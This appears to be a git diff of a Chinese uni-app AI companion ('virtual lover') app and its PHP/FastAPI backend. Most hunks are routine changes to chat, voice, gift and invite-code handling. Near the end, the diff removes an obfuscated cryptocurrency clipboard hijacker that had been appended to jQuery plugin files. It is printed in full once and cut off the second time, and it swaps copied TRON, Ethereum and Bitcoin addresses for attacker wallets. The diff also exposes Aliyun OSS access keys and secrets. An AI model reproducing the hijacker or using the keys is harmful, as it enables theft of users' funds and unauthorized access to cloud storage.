||||
// 初始化会话
|
||||
initSession() {
|
||||
uni.showLoading({ title: '加载中...' });
|
||||
|
||||
SessionInit().then(res => {
|
||||
uni.hideLoading();
|
||||
if (res.code === 1) {
|
||||
this.sessionId = res.data.session_id;
|
||||
// 加载历史消息(只显示最近10条)
|
||||
const allMessages = res.data.messages || [];
|
||||
this.messages = allMessages.slice(-10).map(msg => ({
|
||||
role: msg.role === 'lover' ? 'ai' : 'user',
|
||||
content: msg.content
|
||||
}));
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
} else {
|
||||
uni.showToast({ title: res.msg || '加载失败', icon: 'none' });
|
||||
}
|
||||
}).catch(err => {
|
||||
uni.hideLoading();
|
||||
console.error('初始化会话失败:', err);
|
||||
uni.showToast({ title: '网络错误', icon: 'none' });
|
||||
});
|
||||
},
|
||||
|
||||
// 发送消息
|
||||
sendMessage() {
|
||||
if (!this.inputText.trim()) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.sending) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!this.sessionId) {
|
||||
uni.showToast({ title: '会话未初始化', icon: 'none' });
|
||||
return;
|
||||
}
|
||||
|
||||
const userMessage = this.inputText.trim();
|
||||
this.inputText = '';
|
||||
|
||||
// 添加用户消息到列表
|
||||
this.messages.push({
|
||||
role: 'user',
|
||||
content: userMessage
|
||||
});
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
|
||||
// 添加"思考中"提示
|
||||
const thinkingIndex = this.messages.length;
|
||||
this.messages.push({
|
||||
role: 'ai',
|
||||
content: '思考中...'
|
||||
});
|
||||
|
||||
this.sending = true;
|
||||
|
||||
// 发送到后端
|
||||
SessionSend({
|
||||
session_id: this.sessionId,
|
||||
message: userMessage
|
||||
}).then(res => {
|
||||
this.sending = false;
|
||||
|
||||
if (res.code === 1) {
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
|
||||
// 添加 AI 回复
|
||||
this.messages.push({
|
||||
role: 'ai',
|
||||
content: res.data.reply || '...'
|
||||
});
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
} else {
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
uni.showToast({ title: res.msg || '发送失败', icon: 'none' });
|
||||
}
|
||||
}).catch(err => {
|
||||
this.sending = false;
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
console.error('发送消息失败:', err);
|
||||
uni.showToast({ title: '发送失败', icon: 'none' });
|
||||
});
|
||||
},
|
||||
|
||||
// 滚动到底部
|
||||
scrollToBottom() {
|
||||
this.scrollTop = 999999;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.chat-page {
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
background: #f5f5f5;
|
||||
}
|
||||
|
||||
.message-container {
|
||||
flex: 1;
|
||||
margin-top: calc(80rpx + var(--status-bar-height));
|
||||
margin-bottom: 120rpx;
|
||||
padding: 20rpx;
|
||||
}
|
||||
|
||||
.message-list {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.message-item {
|
||||
display: flex;
|
||||
margin-bottom: 30rpx;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.message-left {
|
||||
flex-direction: row;
|
||||
}
|
||||
|
||||
.message-right {
|
||||
flex-direction: row-reverse;
|
||||
}
|
||||
|
||||
.avatar {
|
||||
width: 80rpx;
|
||||
height: 80rpx;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.message-bubble {
|
||||
max-width: 500rpx;
|
||||
padding: 20rpx 25rpx;
|
||||
border-radius: 20rpx;
|
||||
margin: 0 20rpx;
|
||||
}
|
||||
|
||||
.message-left .message-bubble {
|
||||
background: #fff;
|
||||
border-top-left-radius: 5rpx;
|
||||
}
|
||||
|
||||
.message-right .message-bubble {
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
}
|
||||
|
||||
.message-text {
|
||||
font-size: 28rpx;
|
||||
line-height: 1.6;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
.message-left .message-text {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.message-right .message-text {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.input-bar {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 20rpx;
|
||||
background: #fff;
|
||||
border-top: 1rpx solid #e5e5e5;
|
||||
z-index: 100;
|
||||
}
|
||||
|
||||
.message-input {
|
||||
flex: 1;
|
||||
height: 80rpx;
|
||||
padding: 0 25rpx;
|
||||
background: #f5f5f5;
|
||||
border-radius: 40rpx;
|
||||
font-size: 28rpx;
|
||||
}
|
||||
|
||||
.send-btn {
|
||||
margin-left: 20rpx;
|
||||
padding: 20rpx 40rpx;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
color: #fff;
|
||||
border-radius: 40rpx;
|
||||
font-size: 28rpx;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -56,6 +56,7 @@
|
|||
|
||||
<script>
|
||||
import { LoverBasic } from '@/utils/api.js';
|
||||
import { baseURLPy } from '@/utils/request.js';
|
||||
|
||||
export default {
|
||||
data() {
|
||||
|
|
@ -136,7 +137,11 @@ export default {
|
|||
|
||||
connectWebSocket() {
|
||||
const token = uni.getStorageSync('token');
|
||||
const wsUrl = `ws://127.0.0.1:8000/voice/call?token=${token}&ptt=true`;
|
||||
// 将 http:// 替换为 ws://,https:// 替换为 wss://
|
||||
const wsBaseUrl = baseURLPy.replace('http://', 'ws://').replace('https://', 'wss://');
|
||||
const wsUrl = `${wsBaseUrl}/voice/call?token=${token}&ptt=true`;
|
||||
|
||||
console.log('WebSocket URL:', wsUrl);
|
||||
|
||||
this.websocket = uni.connectSocket({
|
||||
url: wsUrl,
|
||||
|
|
|
|||
|
|
@ -117,6 +117,7 @@ import {
|
|||
ConfigVoicesAvailable,
|
||||
LoverVoiceSimple
|
||||
} from '@/utils/api.js'
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
|
||||
|
|
@ -145,7 +146,7 @@ export default {
|
|||
cloning: false,
|
||||
cloneStatus: '',
|
||||
cloneVoiceId: '',
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
baseURLPy: baseURLPy,
|
||||
// 音频输入方式:'file' 或 'url'
|
||||
audioInputMode: 'url', // 默认使用 URL 输入
|
||||
audioUrlInput: '', // 用户输入的音频 URL
|
||||
|
|
|
|||
|
|
@ -115,11 +115,13 @@ export default {
|
|||
},
|
||||
async friend() {
|
||||
const res = await Friend(this.form)
|
||||
console.log('Friend 接口返回:', res)
|
||||
let data = ''
|
||||
let ids = ''
|
||||
let onlineData = ''
|
||||
if (res.code == 1) {
|
||||
data = res.data.data
|
||||
data = res.data.data || []
|
||||
console.log('解析后的 data:', data)
|
||||
ids = data.map(item => {
|
||||
return item.friend_id
|
||||
});
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@
|
|||
<image class="list_border"
|
||||
src="https://nvlovers.oss-cn-qingdao.aliyuncs.com/uploads/20251226/5b531717d4ecd0fd23b49d1541135f5a.png">
|
||||
</image>
|
||||
<image class="list_picture" :src="global + item.image"></image>
|
||||
<image class="list_picture" :src="item.image && item.image.startsWith('http') ? item.image : global + item.image"></image>
|
||||
<!-- <image class="list_tag" v-if="index === 0"
|
||||
src="/static/images/gift_tag.png">
|
||||
</image> -->
|
||||
|
|
@ -51,7 +51,7 @@
|
|||
<image src="/static/images/close.png" @click="closeClick()"></image>
|
||||
</view>
|
||||
<view class="alert_module fa">
|
||||
<image class="alert_image" :src="global + giftInfoOptions.image" mode="aspectFill"></image>
|
||||
<image class="alert_image" :src="giftInfoOptions.image && giftInfoOptions.image.startsWith('http') ? giftInfoOptions.image : global + giftInfoOptions.image" mode="aspectFill"></image>
|
||||
<view class="alert_alert f1">
|
||||
<view class="alert_item fa">
|
||||
<image src="/static/images/star.png"></image>
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
|
|
@ -171,6 +171,7 @@ import {
|
|||
} from '@/utils/api.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
|
||||
export default {
|
||||
components: {
|
||||
notHave,
|
||||
|
|
|
|||
129
xuniYou/pages/index/videoHistory.vue
Normal file
129
xuniYou/pages/index/videoHistory.vue
Normal file
|
|
@ -0,0 +1,129 @@
|
|||
<template>
|
||||
<view class="container">
|
||||
<view class="header">
|
||||
<view class="title">{{ pageTitle }}</view>
|
||||
</view>
|
||||
<scroll-view class="list" scroll-y="true">
|
||||
<view v-if="historyList.length === 0" class="empty">
|
||||
<text>暂无历史视频</text>
|
||||
</view>
|
||||
<view v-else>
|
||||
<view class="item" v-for="(item, index) in historyList" :key="index">
|
||||
<view class="item-info">
|
||||
<text class="item-title">{{ itemTitle(item) }}</text>
|
||||
<text class="item-date">{{ formatDate(item.created_at) }}</text>
|
||||
</view>
|
||||
<video v-if="item.video_url" class="video" :src="item.video_url" controls></video>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
type: 'sing',
|
||||
historyList: []
|
||||
}
|
||||
},
|
||||
computed: {
|
||||
pageTitle() {
|
||||
return this.type === 'dance' ? '跳舞历史视频' : '唱歌历史视频';
|
||||
}
|
||||
},
|
||||
onLoad(options) {
|
||||
if (options && options.type) {
|
||||
this.type = options.type;
|
||||
}
|
||||
},
|
||||
onShow() {
|
||||
this.fetchHistory();
|
||||
},
|
||||
methods: {
|
||||
fetchHistory() {
|
||||
const endpoint = this.type === 'dance' ? 'dance/history' : 'sing/history';
|
||||
uni.request({
|
||||
url: baseURLPy + '/' + endpoint,
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync('token')
|
||||
},
|
||||
success: (res) => {
|
||||
if (res.data && res.data.code === 1 && res.data.data) {
|
||||
this.historyList = res.data.data;
|
||||
}
|
||||
},
|
||||
fail: () => {}
|
||||
});
|
||||
},
|
||||
itemTitle(item) {
|
||||
if (this.type === 'dance') {
|
||||
return item.prompt || '跳舞视频';
|
||||
}
|
||||
return item.song_title || '唱歌视频';
|
||||
},
|
||||
formatDate(dateStr) {
|
||||
if (!dateStr) return '';
|
||||
const date = new Date(dateStr);
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const hour = String(date.getHours()).padStart(2, '0');
|
||||
const minute = String(date.getMinutes()).padStart(2, '0');
|
||||
return `${month}-${day} ${hour}:${minute}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
flex: 1;
|
||||
background: #0b0f1a;
|
||||
padding: 24rpx;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.header {
|
||||
padding: 12rpx 0 24rpx;
|
||||
}
|
||||
.title {
|
||||
font-size: 34rpx;
|
||||
color: #ffffff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.list {
|
||||
height: calc(100vh - 120rpx);
|
||||
}
|
||||
.empty {
|
||||
padding: 40rpx 0;
|
||||
text-align: center;
|
||||
color: rgba(255,255,255,0.7);
|
||||
}
|
||||
.item {
|
||||
margin-bottom: 24rpx;
|
||||
padding: 18rpx;
|
||||
background: rgba(255,255,255,0.06);
|
||||
border-radius: 16rpx;
|
||||
}
|
||||
.item-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin-bottom: 12rpx;
|
||||
}
|
||||
.item-title {
|
||||
color: #ffffff;
|
||||
font-size: 28rpx;
|
||||
margin-bottom: 6rpx;
|
||||
}
|
||||
.item-date {
|
||||
color: rgba(255,255,255,0.6);
|
||||
font-size: 22rpx;
|
||||
}
|
||||
.video {
|
||||
width: 100%;
|
||||
border-radius: 12rpx;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -118,6 +118,7 @@
|
|||
WxappGetPhone,
|
||||
AppLoginWx
|
||||
} from '@/utils/api.js'
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import {
|
||||
isPhone,
|
||||
getWxCode
|
||||
|
|
@ -146,7 +147,7 @@
|
|||
dataLogin: [],
|
||||
selectStats: false,
|
||||
inviteCode: '', // 邀请码
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
baseURLPy: baseURLPy,
|
||||
}
|
||||
},
|
||||
computed: {
|
||||
|
|
@ -430,29 +431,58 @@
|
|||
|
||||
// 使用邀请码
|
||||
applyInviteCode() {
|
||||
const token = uni.getStorageSync("token");
|
||||
console.log('准备使用邀请码:', this.inviteCode);
|
||||
console.log('当前 token:', token);
|
||||
|
||||
if (!token) {
|
||||
console.error('Token 不存在,无法使用邀请码');
|
||||
uni.showToast({
|
||||
title: '登录状态异常,请重新登录',
|
||||
icon: 'none'
|
||||
});
|
||||
setTimeout(() => {
|
||||
uni.navigateTo({
|
||||
url: '/pages/index/index'
|
||||
})
|
||||
}, 1500);
|
||||
return;
|
||||
}
|
||||
|
||||
uni.request({
|
||||
url: this.baseURLPy + '/config/invite/apply',
|
||||
method: 'POST',
|
||||
header: {
|
||||
'Content-Type': 'application/json',
|
||||
'token': uni.getStorageSync("token") || "",
|
||||
'Authorization': 'Bearer ' + token,
|
||||
},
|
||||
data: {
|
||||
invite_code: this.inviteCode
|
||||
},
|
||||
success: (res) => {
|
||||
if (res.data.code === 1) {
|
||||
console.log('邀请码使用响应:', res);
|
||||
if (res.data && res.data.code === 1) {
|
||||
uni.showToast({
|
||||
title: res.data.data.message,
|
||||
title: res.data.data.message || '邀请码使用成功',
|
||||
icon: 'success'
|
||||
});
|
||||
} else {
|
||||
// 邀请码使用失败,不影响登录
|
||||
console.log('邀请码使用失败:', res.data.message);
|
||||
// 邀请码使用失败,显示错误信息
|
||||
const errorMsg = res.data ? res.data.message : '邀请码使用失败';
|
||||
console.log('邀请码使用失败:', errorMsg);
|
||||
uni.showToast({
|
||||
title: errorMsg,
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('邀请码请求失败:', err);
|
||||
uni.showToast({
|
||||
title: '网络错误,邀请码使用失败',
|
||||
icon: 'none'
|
||||
});
|
||||
},
|
||||
complete: () => {
|
||||
// 无论成功失败,都跳转到首页
|
||||
|
|
|
|||
|
|
@ -43,6 +43,8 @@
|
|||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
|
|
@ -50,7 +52,7 @@
|
|||
inviteCount: 0,
|
||||
inviteReward: 0,
|
||||
qrCodeUrl: '',
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
baseURLPy: baseURLPy,
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
|
|
|
|||
20
xuniYou/static/images/README_drama_banner.txt
Normal file
20
xuniYou/static/images/README_drama_banner.txt
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
短剧横幅图片说明
|
||||
==================
|
||||
|
||||
当前使用的图片:/static/images/chat_a1.png(临时占位图)
|
||||
|
||||
如需替换为自定义图片:
|
||||
1. 准备一张横幅图片(建议尺寸:400x300 像素或 2:1.5 比例)
|
||||
2. 将图片命名为 drama-banner.jpg 或 drama-banner.png
|
||||
3. 放置到 xuniYou/static/images/ 目录下
|
||||
4. 修改 xuniYou/pages/index/index.vue 文件中的图片路径:
|
||||
将 src="/static/images/chat_a1.png"
|
||||
改为 src="/static/images/drama-banner.jpg"
|
||||
|
||||
链接地址:https://djcps.meinvclk.top
|
||||
|
||||
功能说明:
|
||||
- 点击该短剧项会打开外部链接
|
||||
- H5 环境:在新标签页打开
|
||||
- APP 环境:使用系统浏览器打开
|
||||
- 小程序环境:复制链接到剪贴板
|
||||
|
|
@ -1,5 +1,3 @@
|
|||
|
||||
|
||||
import {
|
||||
request
|
||||
} from '@/utils/request.js'
|
||||
|
|
@ -9,18 +7,18 @@ export const getTokenApi = (data) => request({
|
|||
url: '/api/huanxin/getToken',
|
||||
method: 'post',
|
||||
data: data
|
||||
})
|
||||
}, 2) // 使用 FastAPI
|
||||
|
||||
// 获取环信在线
|
||||
export const getOnlineApi = (data) => request({
|
||||
url: '/api/huanxin/online',
|
||||
method: 'post',
|
||||
data: data
|
||||
})
|
||||
}, 2) // 使用 FastAPI
|
||||
|
||||
// 发送环信消息
|
||||
export const sendMessageApi = (data) => request({
|
||||
url: '/api/huanxin/send',
|
||||
method: 'post',
|
||||
data: data
|
||||
})
|
||||
}, 2) // 使用 FastAPI
|
||||
|
|
|
|||
|
|
@ -355,13 +355,19 @@ export const DanceGenerate = (data) => request({
|
|||
url: '/dance/generate',
|
||||
method: 'post',
|
||||
data: data
|
||||
},2)//跳舞
|
||||
},2,false)//跳舞
|
||||
|
||||
export const DanceGenerateTask = (id) => request({
|
||||
url: `/dance/generate/${id}`,
|
||||
method: 'get',
|
||||
},2,false)//监听生成视频结果
|
||||
|
||||
export const DanceCurrent = (data) => request({
|
||||
url: '/dance/current',
|
||||
method: 'get',
|
||||
data: data
|
||||
},2,false)//获取当前进行中的跳舞任务
|
||||
|
||||
export const SingSongs = (data) => request({
|
||||
url: '/sing/songs',
|
||||
method: 'get',
|
||||
|
|
@ -379,6 +385,12 @@ export const SingGenerateTask = (id) => request({
|
|||
method: 'get',
|
||||
},2,false)//监听生成视频结果
|
||||
|
||||
export const SingCurrent = (data) => request({
|
||||
url: '/sing/current',
|
||||
method: 'get',
|
||||
data: data
|
||||
},2,false)//获取当前进行中的唱歌任务
|
||||
|
||||
export const DynamicShare = (data) => request({
|
||||
url: '/dynamic/share',
|
||||
method: 'post',
|
||||
|
|
|
|||
|
|
@ -1,10 +1,10 @@
|
|||
// 本地开发 - 电脑浏览器调试使用
|
||||
export const baseURL = 'http://127.0.0.1:8080'
|
||||
export const baseURLPy = 'http://127.0.0.1:8000'
|
||||
// Windows 本地开发 - 混合架构
|
||||
export const baseURL = 'http://192.168.1.164:30100' // PHP 处理用户管理和界面
|
||||
export const baseURLPy = 'http://192.168.1.164:30101' // FastAPI 处理 AI 功能
|
||||
|
||||
// 开发环境 - 手机端调试使用局域网IP(需要时取消注释)
|
||||
// export const baseURL = 'http://192.168.1.164:8080'
|
||||
// export const baseURLPy = 'http://192.168.1.164:8000'
|
||||
// 远程服务器 - 需要时取消注释
|
||||
// export const baseURL = 'http://1.15.149.240:30100'
|
||||
// export const baseURLPy = 'http://1.15.149.240:30100/api'
|
||||
|
||||
export const sid = 2
|
||||
|
||||
|
|
@ -29,9 +29,9 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
'token': uni.getStorageSync("token") || "", //自定义请求头信息
|
||||
'sid': sid,
|
||||
'Authorization': (uni.getStorageSync("token") ? ('Bearer ' + uni.getStorageSync("token")) : ""),
|
||||
'X-User-Id': '84' // 开发环境调试用
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('请求成功:', url_base + options.url, '状态码:', res.statusCode, '数据:', res.data);
|
||||
uni.hideLoading()
|
||||
if (res.data.code == 1) {
|
||||
resolve(res.data)
|
||||
|
|
@ -58,6 +58,7 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.log('请求失败:', url_base + options.url, '错误:', err);
|
||||
uni.hideLoading(); // 添加这行,确保请求失败时也隐藏loading
|
||||
console.log('接口错误',err);
|
||||
uni.showToast({
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
app_debug = true
|
||||
app_trace = true
|
||||
app_debug = false
|
||||
app_trace = false
|
||||
|
||||
[database]
|
||||
type = mysql
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@ return [
|
|||
'title' => 'AccessKey ID',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'LTAI5tKVPVBA621ozJn6u3yp',
|
||||
'value' => 'LTAI5tBzjogJDx4JzRYoDyEM',
|
||||
'rule' => 'required',
|
||||
'msg' => '',
|
||||
'tip' => '',
|
||||
|
|
@ -18,7 +18,7 @@ return [
|
|||
'title' => 'AccessKey Secret',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'lKKbHmm6BBQ9eka3mYiBb96F8kawf0',
|
||||
'value' => '43euicRkkzlLjGTYzFYkTupcW7N5w3',
|
||||
'rule' => 'required',
|
||||
'msg' => '',
|
||||
'tip' => '',
|
||||
|
|
@ -30,7 +30,7 @@ return [
|
|||
'title' => 'Bucket名称',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'nvlovers',
|
||||
'value' => 'hello12312312',
|
||||
'rule' => 'required;bucket',
|
||||
'msg' => '',
|
||||
'tip' => '阿里云OSS的空间名',
|
||||
|
|
@ -42,7 +42,7 @@ return [
|
|||
'title' => 'Endpoint',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'oss-cn-qingdao.aliyuncs.com',
|
||||
'value' => 'oss-cn-hangzhou.aliyuncs.com',
|
||||
'rule' => 'required;endpoint',
|
||||
'msg' => '',
|
||||
'tip' => '请填写从阿里云存储获取的Endpoint',
|
||||
|
|
@ -54,7 +54,7 @@ return [
|
|||
'title' => 'CDN地址',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'https://nvlovers.oss-cn-qingdao.aliyuncs.com',
|
||||
'value' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
|
||||
'rule' => 'required;cdnurl',
|
||||
'msg' => '',
|
||||
'tip' => '请填写CDN地址,必须以http(s)://开头',
|
||||
|
|
|
|||
|
|
@ -33,6 +33,17 @@ class Gifts extends Model
|
|||
public static function getList($where = [], $order = 'weigh desc', $field = null, $limit = null)
|
||||
{
|
||||
$list = self::where($where)->order($order)->field($field)->paginate();
|
||||
|
||||
// 处理图片 URL,添加 CDN 域名
|
||||
$cdnurl = \think\Config::get('upload.cdnurl');
|
||||
if ($cdnurl && !empty($list)) {
|
||||
foreach ($list as &$item) {
|
||||
if (!empty($item['image']) && strpos($item['image'], 'http') !== 0) {
|
||||
$item['image'] = $cdnurl . $item['image'];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $list;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@ return [
|
|||
/**
|
||||
* CDN地址
|
||||
*/
|
||||
'cdnurl' => '',
|
||||
'cdnurl' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
|
||||
/**
|
||||
* 文件保存格式
|
||||
*/
|
||||
|
|
|
|||
3190
xunifriend_RaeeC/package-lock.json
generated
3190
xunifriend_RaeeC/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
|
|
@ -244,5 +244,3 @@
|
|||
|
||||
};
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -404,5 +404,3 @@
|
|||
return this;
|
||||
};
|
||||
}));
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8